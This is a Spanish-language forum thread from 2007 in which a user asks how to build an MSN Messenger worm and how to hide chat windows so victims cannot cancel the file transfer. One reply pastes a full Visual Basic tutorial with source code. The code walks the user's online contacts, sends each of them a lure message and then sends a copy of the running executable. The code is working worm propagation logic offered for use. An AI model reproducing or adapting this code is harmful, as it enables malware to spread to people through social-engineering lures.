Título: Ocultar ventanas con cierto nombre... Publicado por: A2Corp en 29 Septiembre 2007, 19:47 pm Hola que tal, tengo una pregunta ya que no se mucho de vb y quiero hacer un worm para msn...
Mi pregunta es, alguien sabe si es posible ocultar las ventanas que tengan un texto en especifico? Por ejemplo... Si se han fijado en el msn todas las ventanas de conversacion terminan con - Conversation o - Conversacion. Entonces queria hacer un codigo que abriera las ventanas de los contactos, mandara un .zip, un texto como "aqui estan las fotos de la semana pasada" y despues ocultara las ventanas... Que pasaran 3 minutos y las ventanas volvieran a aparecer. Este margen de 3 minutos es para que los contactos tengan tiempo de aceptar el archivo. Alguna idea? Título: Re: Ocultar ventanas con cierto nombre... Publicado por: Tengu en 29 Septiembre 2007, 22:16 pm lo q puedes hacer es minimizar las ventasnas mientras lo envias con keyboard event
Título: Re: Ocultar ventanas con cierto nombre... Publicado por: A2Corp en 2 Octubre 2007, 08:18 am Mmmm........ no serviria porke si las minimizo la victima podria cancelar facilmente el envio del archivo.
Alguien sabe alguna idea de ocultar ventanas que terminen con cierto texto? Título: Re: Ocultar ventanas con cierto nombre... Publicado por: A2Corp en 2 Octubre 2007, 15:02 pm Me acabo de dar cuenta de que ya habia un tema muy parecido a este :xD....
Pero no se concreto nada, solo hablaron de la Api FindWindowlike aunque no se como funciona xD Alguna idea para usar esta funcion y ocultar toda ventana que lleve "Conversa" Saludos! Título: Re: Ocultar ventanas con cierto nombre... Publicado por: ~~ en 2 Octubre 2007, 19:40 pm Para ocultarla usa showwindow, lo mejor es hacer un listado de todas las ventanas, ver las q coinciden y ocultarlas.
Pon en google listar ventanas VB y veras ejemplos :P Título: Re: Ocultar ventanas con cierto nombre... Publicado por: Mr pom0 en 3 Octubre 2007, 16:45 pm pues mira yo me encontre un manual de vb de como hacer esto creo que este manual lo encontre aqui espero que te sirva
Primero debemos comenzar accediendo al msn, a traves del objeto Messenger.UIAutomation. Una vez hecho esto, iriamos de contacto en contacto, llamando a una funcion con el contacto online como parametro. VB: On Error GoTo NotCompatible Set w = CreateObject("Messenger.UIAutomation") For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto If ConTacto.Status = 2 Then 'Si el contacto esta OnLine... Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo Next End If Exit Sub NotCompatible: MsgBox "No tienes MSN instalado en el sistema", vbCritical, "Error" End Con InstantMessage abrimos la ventana para chatear con el contacto. Simplemente lo asignamos a una variable, porque necesitamos saber el handle de esa ventana para poder continuar. La funcion a la que se llama es la siguiente: Private Sub SpamMsn(ByVal mHwnd) On Error Resume Next Dim l As Long, spam As String l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la ventana If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo Call SendText(l, "***** Screen saber") 'Mensaje a enviar EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar End Sub Bien, empezemos con lo dificil. Primero la funcion para enviar texto. A esta funcion le tenemos que pasa el handle de la ventana de chat y el texto a enviar. Usaremos las APIs siguientes: GetForegroundWindow SetForegroundWindow PostMessage Para escribir en la ventana de chat, debemos darle el foco a la ventana. Para esto usare la funcion SetForegroundWindow. Lo primero que haremos es crear un bucle, que establezca el foco a la ventana, y hasta que esa ventana tenga el foco no termine. ¿Por que hacemos esto? Simplemente porque windows (no me pregunten porque) no le da el foco a la primera vez que se llama la funcion. Por esto, creamos el bucle y nos aseguramos de que la ventana tendra el foco. Una vez hecho esto, con PostMessage enviamos tecla por tecla, y asi escribrimos el mensaje entero. Luego enviamos un Enter, y asi se manda el mensaje. La funcion es la siguiente: Public Sub SendText(pIMWindow As Long, sText As String) Dim hDirectUI As Long, hPrevWnd As Long Dim i As Integer hDirectUI = pIMWindow Do Call SetForegroundWindow(hDirectUI) Loop Until GetForegroundWindow = hDirectUI For i = 1 To Len(sText) Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&) Next i Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&) Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&) End Sub Enviando el archivo... Bueno, esto es mas dificil que lo anterior (mentira). Aqui, tendremos que mandar un comando a la ventana padre del chat. El comando es 40275. Simplemente lo mandamos con PostMessage, y para detectar la ventana padre, usaremos la Api GetWindowLong(hWnd, GWL_HWNDPARENT). hWnd corresponde al handle de la ventana del chat. Una vez enviado el comando, aparecera por arte de magia la clasica ventanita de "enviar archivo", el cual nos permitira continuar con nuestra obra del mal. Ahora, en windows 98 la cosa se hace mucho mas facil, pero como hay que adaptar todo a windoze XP, tonces debemos buscar esa ventanita entre todas las abiertas. ¿Como? con un bucle que vaya de ventana en ventana, y pare cuando el titulo sea 'Enviar' (para MSN en Español), y 'Send' (para MSN en Ingles). Esto se puede hacer con la API GetWindow, aunque se puede hacer con otras funciones mas eficientes. Queda a gusto del programador. Una vez encontrada la santa ventana de enviar archivo, debemos enviar a la casilla 'Nombre de Archivo' la ruta del fichero a enviar. En win98 esa casilla corresponde a la clase "Edit", por lo que es facil buscar el handle. Con FindWindowEx(X, 0, "Edit", vbNullString) ya tenemos el handle de la casilla y con SendMessageByString, enviamos la ruta. PERO EN WIN XP ES DIFERENTE. El casillero es una clase "ComboBox", dentro de otra clase "ComboBoxEx32", por lo que hay que verificar que el primer metodo no nos devuelva 0. Si nos devuelve 0, buscamos esas dos clases y listo, tenemos el handle de la casilla de texto. Enviamos la ruta del archivo. Enviamos un Enter, y listo! Bueno, he aqui la funcion: Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean Dim X As Long Dim Edit As Long Dim ParentHWnd As Long Dim hWndText As String Dim t As Single Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0) DoEvents X = GetWindow(GetDesktopWindow(), GW_CHILD) hWndText = fWindowText(X) t = Timer Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0) X = GetWindow(X, GW_HWNDNEXT) hWndText = fWindowText(X) If Format(Timer - t, "0.00") > 5 Then GoTo FIN Loop Edit = FindWindowEx(X, 0, "Edit", vbNullString) If Edit = 0 Then Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString) Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString) End If If Edit = 0 Then Exit Function Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath) Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&) Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&) EnviarFile = True FIN: End Function Declaraciones de Apis y Constantes utilizadas: Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long Public Declare Function GetForegroundWindow Lib "user32" () As Long Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Declare Function GetDesktopWindow Lib "user32" () As Long Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wFlag As Long) As Long Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Private Const GW_HWNDFIRST = 0& Private Const GW_HWNDNEXT = 2& Private Const GW_CHILD = 5& Public Const GWL_HWNDPARENT = (-8) Public Const WM_SETTEXT = &HC Public Const WM_GETTEXT = &HD Public Const WM_GETTEXTLENGTH = &HE Public Const WM_KEYDOWN = &H100 Public Const WM_KEYUP = &H101 Public Const WM_CHAR = &H102 Public Const WM_COMMAND = &H111 Public Const VK_RETURN = &HD Esto es todo lo que tenia el manual la verdad no lo e intendado a si que no se si funciona o no espero que te sea util |